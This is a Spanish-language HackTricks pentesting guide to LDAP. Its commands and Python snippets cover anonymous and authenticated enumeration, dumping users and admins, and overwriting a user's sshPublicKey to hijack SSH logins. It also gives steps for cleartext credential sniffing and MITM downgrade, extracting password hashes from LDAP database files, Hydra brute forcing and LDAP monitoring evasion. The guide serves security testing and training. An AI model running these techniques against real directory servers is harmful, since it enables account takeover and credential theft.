18 KiB
389, 636, 3268, 3269 - Pentesting LDAP
{{#include ../banners/hacktricks-training.md}}
El uso de LDAP (Lightweight Directory Access Protocol) sirve principalmente para localizar diversas entidades como organizaciones, personas y recursos como archivos y dispositivos dentro de redes públicas y privadas. Ofrece un enfoque más ligero en comparación con su predecesor, DAP, al tener una huella de código menor.
Los directorios LDAP están estructurados para permitir su distribución en varios servidores, donde cada servidor aloja una versión replicada y sincronizada del directorio, denominada Agente de Sistema de Directorio (DSA). La responsabilidad de atender las solicitudes recae totalmente en el servidor LDAP, que puede comunicarse con otros DSA según sea necesario para ofrecer una respuesta unificada al solicitante.
La organización del directorio LDAP se asemeja a una jerarquía en forma de árbol, comenzando con el directorio raíz en la parte superior. Desde ahí se ramifica hacia países, que a su vez se dividen en organizaciones, y luego en unidades organizativas que representan distintas divisiones o departamentos, hasta llegar al nivel de entidades individuales, que incluye tanto a personas como a recursos compartidos como archivos e impresoras.
Puerto por defecto: 389 y 636(ldaps). Global Catalog (LDAP in ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Lines 1-3 definen el dominio de nivel superior local
- Lines 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
- Lines 10-16 definen 2 unidades organizativas: dev y sales
- Lines 18-26 crean un objeto del dominio y asignan atributos con valores
Escribir datos
Tenga en cuenta que si puede modificar valores podría ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagine que puede cambiar la información "sshPublicKey" de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces ssh está leyendo las claves públicas desde LDAP. Si puede modificar la clave pública de un usuario podrá iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Si LDAP se usa sin SSL puedes sniff credentials in plain text en la red.
También puedes realizar un MITM en la red entre el servidor LDAP y el cliente. Aquí puedes hacer un Downgrade Attack para que el cliente use las credentials in clear text para iniciar sesión.
Si SSL se usa puedes intentar realizar un MITM como el mencionado arriba pero ofreciendo un certificado falso, si el usuario lo acepta, podrás degradar el método de autenticación y ver de nuevo las credenciales.
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds permiten a atacantes no autenticados recuperar información del dominio, como un listado completo de usuarios, grupos, equipos, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una configuración heredada, y desde Windows Server 2003, solo usuarios autenticados tienen permitido iniciar solicitudes LDAP.
Sin embargo, los administradores pueden haber necesitado configurar una aplicación concreta para permitir anonymous binds y haber otorgado más acceso del previsto, dando así a usuarios no autenticados acceso a todos los objetos en AD.
Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
- (objectClass=*) to inventory objects under a base DN
- (sAMAccountName=*) to harvest user principals
Examples:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
What to look for:
- sAMAccountName, userPrincipalName
- memberOf y la ubicación en OU para acotar targeted sprays
- pwdLastSet (patrones temporales), userAccountControl flags (deshabilitado, se requiere smartcard, etc.)
Note: Si no se permite el anonymous bind, normalmente verás un Operations error indicando que se requiere un bind.
Credenciales válidas
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el administrador del dominio usando:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
Automatizado
Con esto podrás ver la información pública (como el nombre de dominio):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Ver enumeración LDAP con python
Puedes intentar enumerar un LDAP con o sin credenciales usando python: pip3 install ldap3
Primero intenta conectarte sin credenciales:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Si la respuesta es True
, como en el ejemplo anterior, puedes obtener algunos datos interesantes del servidor LDAP (como el contexto de nombres o el nombre de dominio):
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Una vez que tengas el contexto de nombres puedes hacer consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
O dump todo el ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch es un script en Python útil para enumerar usuarios, grupos y equipos de un dominio Windows mediante consultas LDAP.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Comprobar credenciales nulas o si tus credenciales son válidas:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Si encuentras algo que diga "bind must be completed" significa que las credenciales son incorrectas.
Puedes extraer todo de un dominio usando:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Extraer usuarios:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Extraer computers:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer mi información:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer Administradores:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extraer Grupo de Escritorio Remoto:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Para ver si tienes acceso a alguna contraseña puedes usar grep después de ejecutar una de las consultas:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Por favor, ten en cuenta que las contraseñas que puedas encontrar aquí podrían no ser las reales...
pbis
Puedes descargar pbis desde aquí: https://github.com/BeyondTrust/pbis-open/ y normalmente se instala en /opt/pbis
.
Pbis te permite obtener información básica fácilmente:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Interfaz gráfica
Apache Directory
Download Apache Directory from here. You can find an example of how to use this tool here.
jxplorer
Puedes descargar una interfaz gráfica con servidor LDAP aquí: http://www.jxplorer.org/downloads/users.html
Por defecto está instalado en: /opt/jxplorer
Godap
Godap es una interfaz de usuario de terminal interactiva para LDAP que puede usarse para interactuar con objetos y atributos en AD y otros servidores LDAP. Está disponible para Windows, Linux y MacOS y soporta simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, junto con varias otras funcionalidades especializadas como buscar/crear/modificar/eliminar objetos, añadir/quitar usuarios de grupos, cambiar contraseñas, editar permisos de objetos (DACLs), modificar Active-Directory Integrated DNS (ADIDNS), exportar a archivos JSON, etc.
Puedes acceder a él en https://github.com/Macmod/godap. Para ejemplos de uso e instrucciones, lee la Wiki.
Ldapx
Ldapx es un proxy LDAP flexible que puede usarse para inspeccionar y transformar tráfico LDAP de otras herramientas. Puede usarse para ofuscar tráfico LDAP con el fin de intentar eludir herramientas de protección de identidad y de monitoreo LDAP e implementa la mayoría de los métodos presentados en la charla MaLDAPtive.
Puedes obtenerlo desde https://github.com/Macmod/ldapx.
Authentication via kerberos
Usando ldapsearch
puedes autenticarte contra kerberos en lugar de vía NTLM usando el parámetro -Y GSSAPI
POST
Si puedes acceder a los archivos donde se encuentran las bases de datos (podrían estar en /var/lib/ldap). Puedes extraer los hashes usando:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Puedes alimentar a john con el hash de la contraseña (desde '{SSHA}' hasta 'structural' sin añadir 'structural').
Archivos de configuración
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Comandos automáticos de HackTricks
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
Referencias
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
{{#include ../banners/hacktricks-training.md}}